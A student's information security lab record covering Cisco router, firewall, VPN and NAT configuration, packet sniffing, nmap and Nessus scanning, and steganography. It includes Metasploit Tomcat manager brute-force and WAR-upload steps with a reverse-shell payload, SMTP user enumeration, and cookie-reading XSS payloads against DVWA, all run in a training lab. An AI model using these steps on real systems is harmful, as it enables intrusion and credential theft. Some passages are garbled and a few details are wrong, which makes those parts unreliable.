Location via proxy:   [ UP ]  
[Report a bug]   [Manage cookies]                

CSE3502 - Lab E REcord-19BEC1359-compressed

Download as pdf or txt
Download as pdf or txt
You are on page 1of 118

CSE3502_Information Security

Management Lab

A record is

submitted by

Name : KEVIN GERARD THOMAS

Register Number : 19BEC1359

BACHELOR OF TECHNOLOGY
IN
ELECTRONICS AND COMMUNICATION ENGINEERING

SCHOOL OF ELECTRONICS ENGINEERING


VELLORE INSTITUTE OF TECHNOLOGY
CHENNAI - 600127

May 2022
List of Challenging Experiment

S.NO. Date Title of the Experiment Page No. Signature


1. 13/01/2022 Configuration of Routers 3
using CLI in Cisco
Packet Tracer
2. 20/01/2022 Configuration of Routers 18
using Distance Vector
Router Protocol
3. 27/01/2022 Configuration of Cisco 32
ASA Firewall using
Cisco Packet
4. 3/02/2022 Using Kali Linux and 40
Metasploitable, Capture
the packetusing
TCPDUMP packet
Sniffing Too
5. 7/02/2022 War File Upload in Web 49
Application and Email
extraction from SMTP
(Simple Mail Transfer
Protocol) server
6. 17/02/2022 To Analyse Nmap and 55
NESUS
7. 21/02/2022 Crossite Attack 61

8. 10/03/2022 Implementation OF 82
Secure VPN IPSEC
TUNNELING USING
CISCOPACKET
TRACER
9. 6/04/2022 DATA HIDING 94

10.

11.

12.

2
TITLE: Configuration of Routers using CLI in Cisco Packet TracerExp No: 1

Date: 13/01/2022
NAME: Kevin Gerard Thomas
REG NO: 19BEC1359

AIM: To configure routers using Command Line Interface in CiscoPacket


Tracer and observe the same
SOFTWARE REQUIRED: Cisco Packet Tracer
THEORY:

Abbreviated as CLI, a Command Line Interface connects a user to a computer


program or operating system. Through the CLI, users interact with a system or
application by typing in text (commands). The command is typed on a specific line
following a visual prompt from the computer.
The Cisco IOS command-line interface (CLI) is the primary user interface used for
configuring, monitoring, and maintaining Cisco devices. This user interface allows
you to execute Cisco IOS commands directly and simply, whether using a router
console or terminal, or using remote access methods
PROCEDURE:
A) Configuration using 2 Routers
STEP1:
Place two PT Routers, two PT Switches, and two PCs for each switch in the
diagram (totally four PCs). Connect two PCs to a switch, then use the Any Cable

3
option to connect the switch to its matching Router. Then join the two together as
well as the routers.

4
STEP 2:
Then go to Command Line Interface in Router0 (the first router) (CLI). Type allow
to utilize the User's configuration. Type configure terminal to enter terminal
configuration mode. In the Fast Ethernet 0/0 port, we now provide Router0 an IP
address and a subnet mask. As a result, use the interface FastEthernet 0/0. Now run
the command ip address 192.168.1.1 255.255.255.0 to assign an IP Address and
Subnet Mask to the Router, where 192.168.1.1 is the Router's IP Address and
255.255.255.0 is the Subnet Mask. To activate the connection, type no shutdown to
turn on the port. To quit the FastEthernet 0/0 configuration terminal, type Exit or
press Ctrl + C.

5
STEP 3:

6
To check if the IP Address and Subnet Mask in Fast Ethernet 0/0 have been
changed, go to the Fast Ethernet 0/0 interface under Config in Router0 settings and
see if the information has been updated.

7
STEP 4:
Then go to Command Line Interface in Router1 (the second router) (CLI). Type
allow to utilize the User's configuration. Type configure terminal to enter terminal
configuration mode. In the Fast Ethernet 0/0 port, we now provide Router1 an IP
address and a subnet mask. As a result, use the interface FastEthernet 0/0. Now run
the command ip address 192.168.2.1 255.255.255.0 to assign an IP Address and
Subnet Mask to the Router, where 192.168.2.1 is the Router's IP Address and
255.255.255.0 is the Subnet Mask. To activate the connection, type no shutdown to
turn on the port. To quit the FastEthernet 0/0 configuration terminal, type Exit or
press Ctrl + C.
STEP 5:
To check if the IP Address and Subnet Mask in Fast Ethernet 0/0 have been
changed, go to the Fast Ethernet 0/0 interface under Config in Router1 settings and
see if the information has been updated.

8
STEP 6:

9
After each router's IP address has been assigned, we'll set up a connection between
Router0 and Router1. To establish a connection, we must enter Router1's IP
address (192.168.2.1) into Router0's CLI. To utilize the Serial 2/0 interface, we
type interface serial 2/0. To make a connection, put ip address 192.168.2.1
255.255.255.0 in the address bar. To turn on the connection, type no shutdown.
STEP 7:
To see if the IP Configuration has been changed, open the Serial2/0 Interface in the
Config tab and look for any changes.
To establish a connection, we must enter Router0's IP address (192.168.1.1) into
Router1's CLI. To utilize the Serial 2/0 interface, we type interface serial 2/0. To
make a connection, put ip address 192.168.1.1 255.255.255.0 in the address bar.
To switch, type no shutdown. Concerning the link.

10
Now we allocate an IP Address and a Default Gateway (the Router's IP Address) to
each PC. We set IP address 192.168.1.2 to PC0, using 192.168.1.1 as the default
gateway address.

11
PC1 is given an IP address of 192.168.1.3, with 192.168.1.1 as its default gateway
address.
Similarly, it is done for PC2 and PC3 also.
The command ipconfig is used to determine a computer's IP address, Subnet Mask,
and Default Gateway. This shows the specifics of the FastEthernet0 connection.
The command ping 192.168.2.1 is then used to see if a connection has been
established between the devices.
The command ping 192.168.2.1 is then used to see if a connection has been
established between the devices.

12
B) Configuration using 3 Routers

STEP 1:
Place two PT Routers, two PT Switches, and two PCs for each switch in the
schematic (totally four PCs). Connect two PCs to a switch, then use the Any Cable
option to connect the switch to its matching Router. Then join the two together, as
well as routers.
STEP 2:
Then go to Command Line Interface in Router0 (the first router) (CLI). Type allow
to utilize the User's configuration. Type configure terminal to enter terminal
configuration mode. In the Fast Ethernet 0/0 port, we now provide Router0 an IP
address and a subnet mask. As a result, use the interface FastEthernet 0/0. Now run
the command ip address 192.168.1.1 255.255.255.0 to assign an IP Address and
Subnet Mask to the Router, where 192.168.1.1 is the Router's IP Address and
255.255.255.0 is the Subnet Mask. To activate the connection, type no shutdown to
turn on the port. To quit the FastEthernet 0/0 configuration terminal, type Exit or
press Ctrl + C.
STEP 3:
To check if the IP Address and Subnet Mask in Fast Ethernet 0/0 have been
changed, go to the Fast Ethernet 0/0 interface under Config in Router0 settings and
see if the information has been updated.

13
Then go to Command Line Interface in Router1 (the second router) (CLI). Type
allows you to utilize the User's configuration. Type configure terminal to enter
terminal configuration mode. In the Fast Ethernet 0/0 port, we now provide
Router1 an IP address and a subnet mask. As a result, use the interface
FastEthernet 0/0. Now run the command ip address 192.168.2.1 255.255.255.0 to
assign an IP Address and Subnet Mask to the Router, where 192.168.2.1 is the
Router's IP Address and 255.255.255.0 is the Subnet Mask. Then use the shutdown
command.

14
STEP 4:
In router 1 and router 2 do the same procedures as done in router 1.
After that Now we allocate an IP Address and a Default Gateway (the Router's IP
Address) to each PC. We set IP address 192.168.1.2 to PC0, using 192.168.1.1 as
the default gateway address.

15
16
INFERENCES:
* Using the Command Line Interface, IP Addresses and Subnet Masks were
assigned to the routers. The operation was efficient and time-saving thanks to
straightforward commands.
* A command line interface was used to create a connection between the routers.
* When IP addresses and Default Gateway addresses were assigned to the PCs, a
PC linked to one Router was connected to another Router.
RESULT:
Hence, with the help of cisco packet tracer we are able to have a better
understanding of the Router configuration using CLI commands.

17
TITLE: Configuration of Network using Distance Vector RoutingProtocol
Expt. No.: 2 Date:
20/01/2022

AIM: Configure a network using Distance Vector Router Protocol


SOFTWARE REQUIRED: Cisco Packet Tracer

THEORY:
A distance-vector routing protocol in data networks determines the best route for
data packets based on distance. Distance-vector routing protocols measure the
distance by the number of routers a packet has to pass, one router counts as one
hop.
PROCEDURE:
STEP 1:
Connect Router0 to Router1 and Router3, Router1 to Router0 and Router2,
Router2 to Router1 and Router3, and Router3 to Router2 and Router0 by placing
four routers along the vertices of a square. Then assign 10.1.12.1 255.255.255.0 in
Fast Ethernet 0/0 interface, 10.1.14.1 255.255.255.0 in Fast Ethernet 0/1 interface,
and 10.1.1.1 255.255.255.0 in Loopback interface in Router0's Command Line
Interface (CLI).
Using the router rip command, go into RIP Configuration mode. Then, using net
10.0.0.0, configure the network address to 10.0.0.0. Use the show ip route
command to see if the changes you made in the interface have been reflected.
FOR ROUTER 0:

18
19
20
STEP 2:
Set the IP address for loopback in Router1 to 10.1.2.1. Set the IP Address of
FastEthernet 0/1 to 10.1.23.1, and the IP Address of FastEthernet 0/0 to 10.1.12.2.
Using the router rip command, go into RIP Configuration mode. Then, using net
10.0.0.0, configure the network address to 10.0.0.0. Use the show ip route
command to see if the changes you made in the interface have been reflected.
FOR ROUTER 1:

21
22
STEP 3:

23
Using the router rip command, go into RIP Configuration mode. Then, using net
10.0.0.0, configure the network address to 10.0.0.0. Use the show ip route
command to see if the changes you made in the interface have been reflected.

24
FOR ROUTER 2:

25
26
27
STEP 4:
Same procedure as done for the previous routers,
ROUTER 3:

28
29
STEP 5:
We make for all the connections made here are successful, and send packages to
verify.

30
INFERENCES:
*When the network topology changes, the Routing Information Protocol (RIP)
transmits routing-update messages at regular intervals. When a device receives a
RIP routing update with modifications to an entry, it updates its routing table to
reflect the new path. The path's metric value is raised by one, and the sender is
displayed as the next hop.
* In small to medium TCP/IP networks, the Routing Information Protocol (RIP) is
a widely used routing protocol. It is a reliable protocol that employs a distance-
vector algorithm. Routes are calculated using an algorithm.
RESULT:
Hence, with the help of cisco packet tracer we are able to have a better
understanding of the Router configuration using four routers using vector distance
routing protocol.

31
TITLE: Configuration of Cisco ASA Firewall using Cisco PacketTracer
Exp No: 3
Date: 27/01/2022
AIM: To configure Cisco ASA Firewall using Cisco Packet Tracer
SOFTWARE USED: Cisco Packet Tracer

PROCEDURE:
STEP 1:
In the open schematic, add an ASA Firewall. It should be connected to a router,
switch, and computer. Connect two more PCs to the switch. Connect the Router to
a Server through a network cable.
Use the command sh running-config.r to a Server to determine the IP addresses
assigned to various interfaces.
Using no dhcpd address192.168.1.5-192.168.1.36 inside, remove the IP Address
for VLAN1. Use the command sh running-config to see the changes.
STEP 2:
Using the command int vlan1, assign an IP address to the VLAN1 interface. To
assign an IP address and activate the connection without shutting it off, run the
command ip address 10.1.1.1. Use the command nameif inside to give the interface
a name. With the command security level 100, assign it a security level of 100. Use
the command switchport access vlan 1 to allocate a Layer 2 interface on a Cisco
IOS device to the specified VLAN. Carry out the identical steps for the VLAN2
interface, but use the IP address 50.1.1.1 instead.
Configuration of ASA Firewall:

STEP 3:
Enter configuration mode in Router by typing conf t. Assign the IP address ip
address 50.1.1.1 255.0.0.0 to Fast Ethernet 0/1. Using no shutdown command, we
enable the connection. Then, using int f0/0, enter Fast Ethernet 0/0. Using the ip
address 8.8.8.1 255.0.0.0 command, assign an IP address of 8.8.8.1 255.0.0.0. No
shutdown is required to enable the connection.

STEP 4:
Go to IP Configuration in Desktop to set up the server. There, give the Server an
IPv4 address of 8.8.8.8 with a subnet mask of 255.0.0.0. Make 8.8.8.1 your default
gateway address.
Assign a DHCPD address to the ASA Firewall with the command dhcpd
address10.1.1.10-10.1.1.30 inside. Then, within, use the command dhcpd dns
8.8.8.8 interface to set the domain name server.

STEP 5:
Then go to the Switch-connected PCs. Turn on DHCP instead of Static in Desktop
IP Configuration. The IP address will be assigned to the devices by the Firewall
automatically.
To allow TCP protocol, use the command access-list IAL extended permit tcp any
any to apply Access List to the Firewall. Type access-list IAL extended allows
icmp any any to enable the ICMP protocol. The term IAL is given to the access
control list in this case.
STEP 6:
After we complete all the procedures, we must make sure all the connections are
secure and working so we verify the connections, send the packets.
INFERENCES:
* A security system(fire wall here) is a network security device that monitors and
regulates incoming and outgoing network traffic according to specified security
rules in computing.
* dhcpd is a Dynamic Host Configuration Protocol (DHCP) server application that
runs as a daemon on a server and provides DHCP service to a network. As a result,
IP addresses and Subnet Masks are allocated to PC1 and PC2.
RESULT:
Hence, with the help of a cisco packet tracer we are able to have a better
understanding of the fire wall routing in the cisco packet tracer.
TITLE: Using Kali Linux and Metasploitable, Capture the packetusing
TCPDUMP packet Sniffing Tool.
Exp No: 4 Date:
3/02/2022

AIM: TO TCPDUMP PACKET SNIFFING TOOL WITH HELPOF KALI


SOFTWARE USED: KALI AND METASPLOITABLE
THEORY:

1. -X : Show the packet’s contents in both hex and ASCII.


2. -XX : Same as -X, but also shows the ethernet header.
3. -D : Show the list of available interfaces
4. -l : Line-readable output (for viewing as you save, or sending to other
commands)
5. -q : Be less verbose (more quiet) with your output.
6. -t : Give human-readable timestamp output.
7. -tttt : Give maximally human-readable timestamp output.
8. -i eth0 : Listen on the eth0 interface.
9. -vv : Verbose output (more v’s gives more output).
10.-c : Only get x number of packets and then stop.
11.-s : Define the snaplength (size) of the capture in bytes. Use -s0 to get
everything, unless you are intentionally capturing less.
12.-S : Print absolute sequence numbers.
13.-e : Get the ethernet header as well.
14.-q : Show less protocol information.
15.-E : Decrypt IPSEC traffic by providing an encryption key
PROCEDURE:
STEP 1:
We first find the ip address of the kali and metasploitable by using the command
‘ifconfig’

STEP 2:
Now we open the tcpdump protocol help manual
STEP 3:
Now we start isolating the traffic hitting the interface using command “ tcpdump -i
any “, after that we specify the the number of traffic packets, we want to isolate
using command “ tcpdump -i any –c 5’, also similarly we use the command ‘
tcpdump -i –c 5 n’. For isolating the traffic.
STEP 4:
Now use the command “ tcpdump -i any –c 5 –s64' , here ‘s’ is there to specific the
length or size of the capture in packets.
Now use the command “ tcpdump -i any –c 5 –t',this command gives us a
timestamp in the output to refer to .

STEP 5:
The command ‘tcpdump -I any –c –ttt ‘ ,Give maximally human-readable
timestamp output.
STEP 6:
Now we use the command ‘tcpdump -I any tcp –c 15’ , this command enables us to
capture 15 tcp packets.
STEP 7: Now we use the command ’tcpdump -I any port 80 –c 10’ , the help of
this command we are able to capture and isolate traffic surfacing port 80 , and only
10 of them are specified.

STEP 8:
Now we use the command ‘wget youtube .com’ , to get a frame ,
Now we use the command ‘tcpdump -I any 10 –w capture.pcap’ , this command is
used to read and write the capture file of tcpdump.

STEP 9:
Now we use the command ‘ tcpdump –I eth0 –c 5 –n host 192.168.0.114’
With the help of this command, it listens to eth0 interface and, the kali ip address
interface.
STEP 10:
With help of this commands we are able to connect kali and meta , send messages
back and forth , in way kali gains access to meta.

Inference:
 *tcpdump is the world’s premier network analysis tool—combining both
power and simplicity into a single command-line interface.
 *This guide will show you how to isolate traffic in multiple ways—including
by IP, port, protocol, or application to help you find what you’re looking for.
Result:
Hence, by performing this experiment we have a better understanding of the
tcpdump protocol.
TOPIC: War File Upload in Web Application and Email extraction from SMTP
(Simple Mail Transfer Protocol) server
DATE : 10/2/2022
LAB NO: 5
NAME: KEVIN GERARD
THOMAS

REG NO: 19BEC1359

AIM: TO ANALYSE THE WAR FILE UPLOAD AND SMTP


Objective:
1. Uploading malicious war file in tomcat application
2. Email extraction using SMTP
THEORY:
Apache Tomcat (short for “Tomcat”) is a free and open-source Java Servlet,
JavaServer Pages, Java Expression Language, and WebSocket implementation.
[two] Tomcat is an HTTP web server that runs Java code in a “pure Java”
environment.
Many Apache Tomcat users choose to run their Tomcat instances on Linux, with
good reason - it's a rock-solid operating system, with many different flavors to
cater to the needs of a wide variety of users and situations. Installing Tomcat on
Linux need not be cumbersome.
The Simple Mail Transfer Protocol (SMTP) is an internet standard communication
protocol for electronic mail transmission. Mail servers and other message transfer
agents use SMTP to send and receive mail messages.
SMTP or Simple Mail Transfer Protocol is an application that is used to send,
receive, and relay outgoing emails between senders and receivers. When an email
is sent, it's transferred over the internet from one server to another using SMTP. In
simple terms, an SMTP email is just an email sent using the SMTP server.
PROCEDURE:
STEP 1:
Go to Metasploitable then type the command “ifconfig”
Step 2: Go to Kali Linux find the ip address using ifconfig then type command
“nmap -sV 192.168.1.12”
Step 3: Then type command msfconsole , to operate msfconsole .

Step 4:
Type “Clear” in msf5 table to clear out all the prevoius works
Then search tomcat , after which in kali Type 192.168.1.2:8080 in the Webrowser
8180
Step 5: Then Go to msconsole and type ”use
auxiliary/scanner/http?tomcat_mgr_login” command the type ”options” command
there,
Then type command “set RHOSTS 192.168.1.12” , then type command “set
RPORT 8180” then type command “run”
Now type username and password as “tomcat”
Step 6:
search tomcat, then use auxiliary/scanner/http/tomcat_mgr_login then use
exploit/multi/http/tomcat_mgr_upload then set RHOSTS 192.168.1.12 then set
RPORT 8180 then set HttpUsername tomcat.

Step 7:
Then show payloads , then set payload java/shell_reverse_tcp after which set
LHOST 192.168.1.11 then set LPORT to 4444 then run,
Now use the command “msfvenom -p java/shell_reverse_tcp LHOST =
192.168.1.11 LPORT 4444 -f war -o cmd.war”
2)SMTP :
PROCEDURE:
Step1 :
Use the command “nmap -sV 192.168.1.12”
Step 2:

Use this command to install apt-get install smtp-user-enum


Step 3:

smtp-user-enum –M VRFY –U text11.txt –t 192.168.1.12


Step 4:

Then use this command :nano text11.txt

INFERENCE: HENCE WITH THE HELP OF KALI UNIX WE ARE ABLE TO HAVE
A
BETTER UNDERSTANDING OF WAR file upload web application, and SMTP
protocol etc .
AIM: TO ANALYSE NMAP AND NESUS
DATE: 17/04/2022

Exp.No. 6: Explore Open Source tools like sqlmap, Nessus, Nmap

THEORY:

Nmap is a utility for network exploration or security auditing. It supportsping


scanning (determine which hosts are up), many port scanning techniques, version
detection (determine service protocols and application versions listening behind
ports), and TCP/IP fingerprinting (remote host OS or device identification).
Nessus is a network security scanner. It utilizes plug-ins, which are separate files,
to handle the vulnerability checks. This makes it easy to install plug-ins and to see
which plug-ins are installed to make sure thatyour are current. Nessus uses a
server-client architecture.
STEP 1:
Start the Nmap Tool , use the command “Nmap -h” , then use thecommand “nmap
-V” after which
“nmap scanme.nmap.org” then use the command “nmapscanme.nmap.org –sn”

STEP 2:
After this previous command we use the command “nmapscanme.nmap.org –A”

STEP 3:
Using the command “nmap scanme.nmap.org -sV”:

STEP 4:
After the previous command we use the command “nmapscanme.nmap.org
google.com -sn”
Then we use the following command “nmap scanme.nmap.org/24 -sn” .

STEP 5:
We then create a Text file called list.txt ,after this we use the command
“scanme.nmap.org”
And the we use the command “nmap.org” then get to “google.com” thentype
“192.168.43.65”
, after this we use the command “nmap –iL list.txt -sn”.

STEP 6 :
After we use the command “nmap –iL list.txt -sn --exclude google.com”then we
use the command
“nmap 45.33.32.100-160 –sn" after which we use the command “nmap
45.33.32.100-160 -sn --” after which we use the command “exclude
45.33.32.150-160” after which we use the command “nmap 45.33.32.1-255 - -
exclude 45.33.32.110”.
STEP 7:
nmap 45.33.32.80-120 -sn - -excludefile list.txtnmap
scanme.nmap.org -F

nmap scanme.org –p 1-100


nmap scanme.org –p 1-100 --exclude-ports 25Nmap
–p T:500 google

Nmap --top–ports 100 scanme.org


nmap –r scanme.org

Nmap scanme.nmap.org –O
2)NESUS:

Step 1: We start nesus , after which we click Click Host Discovery tostart the
process.
Step 2 : After this we type the IP address of Kali Linux , which we foundafter using
the ifconfig command

Step 3 : we then get the report

Step 5 : We then initiate the OS Identification process .


INFERENCE: HENCE WITH THE HELP OF THIS EXPERIMENTWE ARE
ABLE TO UNDERSTAND THE NMAP TOOL BETTER ALSO ABLE TO
UNDERSTAND THE NESUS TOOL WHICH WEDOWNLOADED.
TOPIC: IMPLEMENTATION OF SECURE VPN ISEC
TUNNELING USING CISCOPACKET
TRACER

EXPERIMENT:8
DATE: 10/03/2022

AIM: To analyze and implement secure VPN ISEC tunnelling


SOFTWARE USED: Cisco Packet Tracer

CIRCUIT DIAGRAM:

PROCEDURE:
Use three routers, two PCs, and switches to link everything (if required).

Fast ethernet connections are used by PCs, whereas gigabit ethernet connections
are used by routers. Copper-straight through cable is used to link the PC to the
switch and the switch to the router. Copper cross-over cable connects Router0 to
the rest of the routers.
To get started, hit RETURN on the IOS command line interface. Enter the code.

Using “en” command, enable the router 1.


Now, we have to configure the terminal using “conf t” command. We can
observe the change from router to router(config)# tab.
Here we use a Fast Ethernet connection. Therefore, it uses the Gigabit Ethernet
0/1 interface. Then enter the IP address and subnet mask. "IP address" The IP
address here is 192.168.1.1. The Ethernet connection is enabled because no
shutdown command has been entered in the CLI. Type exit to exit the Router tab
Router0 should be selected.
To get started, hit RETURN on the IOS command line interface. Enter the code.

Enable the router 0 with the "en" command.


Now we must use the "conf t" command to setup the terminal. The switch from
router to router(config)# tab may be seen.

We're utilising the g0/1 connection here. As a result, we employ the gigabit
Ethernet 0/1 interface.

The IP address and subnet mask are then typed. "ip address>subnet mask>ip
configuration>ip configuration>ip configuration>ip configuration>ip
configuration>ip configuration>ip configuration>ip The IP address is
209.165.200.2 in this case.

The CLI command "no shutdown" is used to turn on the ethernet connection.
After configuring the console using console, we must configure the terminal
using the "conf t" command. The switch from router to router(config)# tab may
be seen.

We're utilising a g0/0 connection here. As a result, we use the gigabit Ethernet 0/0
interface.

The IP address and subnet mask are then typed. "ip address" means "internet
protocol address." The IP address is 209.165.100.2 in this case.

The CLI command "no shutdown" is used to turn on the ethernet connection.

Router2 should be selected.

To get started, hit RETURN on the IOS command line interface. Enter the code.

Enable the router 2 with the "en" command.

Now we must use the "conf t" command to setup the terminal. The switch from
router to router(config)# tab may be seen.
Here, we are using g0/1 connection. Hence, we use the interface gigabit Ethernet
0/1
Next, we type the ip address and the subnet mask.
“ip address <ip configuration><subnet mask>”
Here, the ip address is 192.168.3.1
“no shutdown” command is typed in CLI and this makes the ethernet connection
ON.
Again, we have to configure the terminal using “conf t” command after
configuring the console by console. We can observe the change from router to
router(config)# tab.
Here, we are using g0/0 connection. Hence, we use the interface gigabit Ethernet
0/0
Next, we type the ip address and the subnet mask.
“ip address <ip configuration><subnet mask>”
Here, the ip address is 209.165.200.1
“no shutdown” command is typed in CLI and this makes the ethernet connection
ON.
To exit the router tab, type “exit”
Configure the router 2 to set the ip route. Here, the command used is 0.0.0.0
0.0.0.0209.165.200.2
Open Router 1.
Configure the router 1 to set the ip route. Here, the command used is 0.0.0.0
0.0.0.0209.165.100.2

In router 1, type “license boot module c1900 technology-package securityk9”


to workwith the licensed c1900 module.

Type yes to accept the license


“copy run start” to start building the configuration
Then, type “reload” and confirm to load the program and to see the system
version &memory size. Cisco IOS Software, C1900 software is installed.
After installation of C1900 software, type “show version” to observe the
license UDIand the technology package license information for C1900 module.

Next stage is to give the access list permit. For that, after conf t, type “access-
list 100permit ip 192.168.1.0 0.0.0.255 192.168.3.0 0.0.0.255”
ISAKMP policy is the next step. Follow the following
commands:crypto isakmp policy 10
encryption aes 256
authentication pre-
sharegroup 5

Close Router 1 and open Router2.


Next stage is to give the access list permit. For that, after conf t, type “access-
list 100permit ip 192.168.3.0 0.0.0.255 192.168.1.0 0.0.0.255”
For ISAKMP key, use
“crypto isakmp policy 10
encryption aes 256
authentication pre-share
group 5”
Go back to Router 1, we have to prepare the secret key, for which use “crypto
isakmpkey secretkey address 209.165.200.1”
The next phase is IPsec transform-set.
crypto ipsec transform-set R1->R3 esp-aes 256 esp-sha-hmac
Similar for Router 2
The next stage is the crypto map. When we type “crypto map IPSEC-MAP 10
ipsec-isakmp”, it shows that this crypto map will remain disabled until a peer
and valid access list has been configured.
Router(config) tab has now been changed to Router(config-crypto-
map) tab51. set peer 209.165.200.1
set pfs group5
set security-association lifetime seconds 86400
set transform-set R1->R3
match address 100

We interface the g0/0 connection.


Type “crypto map IPSEC-MAP” to turn the ISAKMP ON.
Repeat the same stages with Router2 with only changing the transform set
fromR3->R1
Go back to Router1, use “show crypto ipsec sa” to see the number of
packets encapsulated, encrypted, decapsulated, decrypted, compressed,
decompressed andthose verified.
Close the routers. Go to PC1. Desktop -> Command Prompt. Use ping
192.168.3.10to see if PC2 and PC1 are connected.

Go to PC2. Desktop -> Command Prompt. Use ping 192.168.1.10 to see if


PC2 andPC1 are connected and to see the number of packets, sent and
received.
Go back to Router1, use “show crypto ipsec sa” to see the changes in
the packets encapsulated, encrypted, decapsulated, decrypted,
compressed, decompressed andthose verified.

PDU Information at device:


INFERENCE:

IPsec is a group of protocols that are used together to set up encrypted


connections between devices. It helps keep data sent over public networks
secure. IPsec is often used to set up VPNs, and it works by encrypting IP
packets, along with authenticating the source where the packets come from.
Does VPN use IPsec?
Internet Protocol Security (IPsec) is the traditional VPN method. Introduced
in the 1990s, it is well established, regularly updated, and continues to be
widely used. IPsec requires third-party client software on the user's device
to access the VPN—it is not implemented through the web browser.
RESULT:
Hence, with the help of cisco packet tracer, we were able to
understand and implement secure VPN IPsec tunnel.
CROSS SITE SCRIPTING ATTACK

EXPERIMENT: 7
DATE: February 10, 2022

AIM: To perform Cross site Scripting attack (XSS) with Kali Linux
SOFTWARE USED: Kali Linux, Metasploitable

THEORY:

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious


scripts are injected into otherwise benign and trusted websites. XSS attacks
occur when an attacker uses a web application to send malicious code,
generally in the form of a browser side script, to a different end user. Flaws that
allow these attacks to succeed are quite widespread and occur anywhere a web
application uses input from a user within the output it generates without
validating or encoding it.

PROCEDURE:

1. Open metasploitable2 with username and password as msfadmin.


2. Using “ifconfig” command, note the IP address of
metasploitable2. Here, it is 192.168.93.129
3. Using the same ifconfig command, find the IP address of Kali
Linux. Here, it is 192.168.93.132

4. Open the web browser in Kali Linux.

5. Enter the IP address of metasploitable2. Its main page pops up. Click on
DVWA.

6. Log into the DVWA page using the username:


admin and password: password
7. In DVWA, go to DVWA security. Change the Script Security to low.

8. Go to XSS reflected and give the following command:

<script>alert(“you have been hacked”)</script>


9. To navigate to another web page like navigating to google, use

<script>window.location ='https://www.google.com'</script>

10. Java command/Html command CREATING A FRAME and


introducing a website inside the frame

<iframe src=”http://info.cern.ch”> </iframe>


11. To check for cookies we can use the following command

<script>alert(‘https://www.google.com’document.cookie)</script>

12. Go to XSS Stored. Give some name say test in name and in
message give the following command.

<script>alert(“you have been hacked”)</script>

13. Change the security of DVWA to Medium. Click on View Source


in the right bottom.
14. Now click on XSS Stored and then click on view Source

15. To check for the cookies in XSS Stored, use:

<SVG onload = “alert(document.cookie)”>

RESULTS:
Exp No:9 Date : 08/04/2022

AIM:
To perform Network Address Translation using Cisco Packet Tracer

SOFTWARE REQUIRED:
Cisco Packet Tracer

COMMANDS USED/PROCEDURE:
enable:
Used to enter Privileged Exec Mode from User Exec Mode
configure terminal
Used to enter Global Configuration Mode
interface <interface name + number>
Used to enter Interface Configuration
Here, since we wish to enter FastEthernet 0/0 interface and Serial 2/0
interface, we use the command interface FastEthernet 0/0 and
interface Serial 2/0

ip address <IP Address> <Subnet Mask>


Sets the IP address and subnet mask for the specified interface
Here, for example, to assign IP Address 192.168.1.1 and Subnet Mask of
255.255.255.0, we use the command ip address 192.168.1.1
255.255.255.0
no shutdown
Enables the interface, changing its state from administratively down to
administratively up
exit
Used to exit the mode
ip nat inside source static <IP Address of Device> <Public Address of
Router>
Used to configure the router’s inside interface
ip route
To establish the route for the IP Addresses
PROCEDURE:
STEP 1:
Place Design the CISCO tracer according to image.

STEP 2:
Configure the IP Addresses, Subnet Masks and Default Gateways of the
PCs

PC0:
IP Address - 10.10.10.2
Default Gateway - 10.10.10.1

PC1
IP Address - 20.20.20.2
Default Gateway - 20.20.20.1

STEP 3:
Enable the IP Addresses for Router0.
Serial2/0 - 192.162.10.0
FastEthernet 0/0 - 10.10.10.1
STEP 5:
Configure the Router1.
Serial 2/0 - 192.162.10.2
FastEthernet 0/0 - 20.20.20.1

STEP 6:
Configure server.
The IP Address is 10.10.10.3 and subnet mask is 255.0.0.0. The
default gatewayaddress is 10.10.10.1.
Default Gateway Address:

STEP 7:

Verify whether the connections have been established as required.

STEP 8:
To establish private and public IP Addresses for Router0, enter
Command Line Interface (CLI) and set 50.50.50.0 for Public IP Address
and 10.10.10.0 for Private IP Address.
STEP 9:
To establish private and public IP Addresses for Router1, enter Command
Line Interface (CLI) and set 60.60.60.0 for Public IP Address and
20.20.20.0 for Private IP Address.

STEP 10:
Set the IP Route for Router0.

STEP 11:
Set the IP Route for Router1.

STEP 12:
To view the route taken, type show ip route.
Router0:

Router1:

STEP 13:
To verify whether the connections have been established, ping PC1
from PC0 usingits public address.
STEP 14:
The private IP Address of PC1 will be unreachable by PC0. This can be
verified usingping command.

STEP 15:
Verify the above procedure in Simulation Mode.
STEP 16:
Now, in Server, in services, edit the index.html file to view and add
contents.

STEP 17:
Now, type the public address (50.50.50.3) in web browser in PC1.
NAME : KEVIN GERARD THOMAS REG : 19BEC1359
DATE : 6/4/2022
TOPIC : DATA HIDING
EXP:10

Aim:
To analyze Text hiding in Image and Secure Block Creation for Blockchain
technology.
Software Required:
Kali Linux
Theory:
LSB steganography:
LSB Steganography is an image steganography technique in which messages are
hidden inside an image by replacing each pixel's least significant bit with the bits
of the message to be hidden.
Block Diagram of Text Steganography:

LSB extraction: reverse of LSB steganography


Block Diagram of Image Steganography:
Block Diagram of Text with Image Steganography:

Cryptography
Cryptography is the study of secure communications techniques that allow
only the sender and intended recipient of a message to view its contents. The
term is derived from the Greek word kryptos, which means hidden.
Block Diagram of encrypted file of Text file with Image Steganography:
Procedure:
STEP 1:
man steghide ( gets the help manual of steghide).

STEP 2:
Copy an image

create a text file - nano secret.txt


STEP 3:

Start embedding data into your image using Steghide. Run the following
command toembed “secret.txt” into the image named “index.jpeg” – steghide

embed -cf index.jpeg

-ef secret.txt

Passphrase - 12345

Embedded image:
STEP 4:
Run the following command to extract the “secret.txt” file from the
“index.jpeg” file –steghide extract -sf index.jpeg
Passphrase - 5678
View the extracted file - cat secret.txt

STEP 5:
Block creation:
Create a file - nano sensitive1.txt. Ctrl+o->enter->ctrl+z. (to exit from
the filecreated)

STEP 6:
Encrypt the sensitive file using the aes 256 algorithm - openssl enc -aes-
256-cbc -base64 -in exp10.txt (to encrypt the file created)
Password – 5678
STEP 7:
Transfer the encrypted msg into another file - openssl enc -aes-256-cbc -base64
-in exp10.txt -out encrypt.txt (transferring the encrypted msg into another file)
Verify the password: 5678

To get the encrypted msg - cat encrypt.txt (to get the encrypted msg)

create the sha-256 hash of the above file - sha256sum encrypt.txt

STEP 8:

This generated output consists of:

a. the hash sum – the first 65 characters


b. space(s)
c. an asterisk (only in binary mode)
d. the path to the file or just the name of the file
sha256sum /path/to/encrypt.txt > checksum ( generates the hash for a file
in a directory)

STEP 9:
using the hash stored in the checksum file to verify the
integrity ofthe encrypt.txt file that we have hashed.
sha256sum --check checksum

INFERENCE:
